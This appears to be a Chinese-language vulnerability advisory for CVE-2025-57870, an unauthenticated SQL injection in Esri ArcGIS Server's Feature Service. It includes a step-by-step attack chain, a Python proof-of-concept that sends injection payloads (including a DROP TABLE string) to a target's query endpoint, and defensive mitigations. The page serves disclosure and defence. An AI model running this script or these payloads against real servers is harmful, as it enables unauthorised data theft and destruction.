IPBUF安全漏洞报告
English
CVE-2025-57870 CVSS 10.0 严重

CVE-2025-57870: Esri ArcGIS Server SQL注入漏洞

披露日期: 2025-10-22

漏洞信息

漏洞编号
CVE-2025-57870
漏洞类型
SQL注入
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Esri ArcGIS Server 11.3/11.4/11.5

相关标签

SQL注入Esri ArcGIS ServerCVE-2025-57870远程代码执行地理空间数据Enterprise GeodatabaseCVSS10.0

漏洞概述

CVE-2025-57870是Esri ArcGIS Server中的一个严重SQL注入漏洞,CVSS评分高达10.0(满分)。该漏洞影响ArcGIS Server 11.3、11.4和11.5版本,运行于Windows、Linux和Kubernetes平台。漏洞存在于ArcGIS Feature Service的特定操作中,允许远程未认证攻击者通过构造恶意请求执行任意SQL命令。由于无需任何认证或用户交互,攻击门槛极低,危害范围广泛。成功利用此漏洞可能导致攻击者获取、篡改或删除Enterprise Geodatabase中的敏感地理空间数据,包括基础设施信息、地图数据、业务数据等,对组织的数据安全和业务连续性构成严重威胁。

技术细节

该SQL注入漏洞源于ArcGIS Feature Service对用户输入参数验证不足。当攻击者向受影响版本的ArcGIS Server发送特制的HTTP请求时,恶意SQL语句可能被注入并由后端数据库执行。攻击者利用此漏洞可执行以下操作:1)通过UNION SELECT等SQL技术提取数据库中的敏感信息;2)使用INSERT/UPDATE语句修改现有数据;3)利用DELETE语句删除关键记录;4)在某些情况下可能实现操作系统命令执行。由于CVSS向量显示攻击复杂度低(AC:L)且无需认证(PR:N),加之机密性、完整性和可用性均为高影响(H),此漏洞可被自动化工具大规模利用。攻击者通常通过扫描发现暴露的ArcGIS Server端点,然后针对Feature Service的查询或操作接口发送恶意载荷。

攻击链分析

STEP 1
步骤1
信息收集:攻击者扫描互联网或内部网络,发现暴露的Esri ArcGIS Server实例(端口6080/6443)
STEP 2
步骤2
识别版本:通过API请求或特征识别确定目标服务器运行11.3/11.4/11.5版本
STEP 3
步骤3
枚举Feature Service:访问rest/services目录,识别可用的Feature Service端点
STEP 4
步骤4
构造恶意请求:针对Feature Service的query或find操作,注入SQL载荷(如' OR '1'='1)
STEP 5
步骤5
验证注入点:观察响应包中的数据库错误信息或数据差异,确认注入成功
STEP 6
步骤6
数据提取/操纵:使用UNION SELECT提取敏感表数据,或执行UPDATE/DELETE修改业务数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-57870 PoC - SQL Injection in Esri ArcGIS Server Feature Service # Target: ArcGIS Server versions 11.3, 11.4, 11.5 # Note: For authorized security testing only def test_sqli(target_url, service_endpoint): """Test for SQL injection vulnerability in ArcGIS Feature Service""" # Normal request for baseline normal_params = { 'where': '1=1', 'outFields': '*', 'f': 'json' } # SQL injection payloads payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1'; DROP TABLE--", "1' AND 1=1--" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } print(f"[*] Testing target: {target_url}") print(f"[*] Service endpoint: {service_endpoint}") # Test normal request try: response = requests.get( f"{target_url}/{service_endpoint}/query", params=normal_params, headers=headers, timeout=30 ) print(f"[+] Normal request status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Test SQL injection payloads for payload in payloads: sqli_params = { 'where': payload, 'outFields': '*', 'f': 'json' } try: response = requests.get( f"{target_url}/{service_endpoint}/query", params=sqli_params, headers=headers, timeout=30 ) # Check for SQL error indicators if 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f"[!] Potential SQL injection detected with payload: {payload}") print(f"[!] Response preview: {response.text[:200]}") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing payload {payload}: {e}") print("[*] No obvious SQL injection detected") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-57870-poc.py <target_url> <service_endpoint>") print("Example: python cve-2025-57870-poc.py https://arcgis.example.com/arcgis rest/services/Example/FeatureServer/0") sys.exit(1) target = sys.argv[1] endpoint = sys.argv[2] test_sqli(target, endpoint)

影响范围

Esri ArcGIS Server 11.3 (Windows/Linux/Kubernetes)
Esri ArcGIS Server 11.4 (Windows/Linux/Kubernetes)
Esri ArcGIS Server 11.5 (Windows/Linux/Kubernetes)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:1)通过网络ACL或防火墙限制对ArcGIS Server管理端口的访问,仅允许受信任IP访问;2)在Web服务器层面配置URL过滤规则,拦截包含SQL特殊字符(单引号、分号、UNION等)的请求;3)禁用未使用的Feature Service端点;4)启用ArcGIS Server审计日志并设置异常查询告警;5)考虑在ArcGIS Server与数据库之间部署数据库防火墙(DBFW)进行SQL语句过滤。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表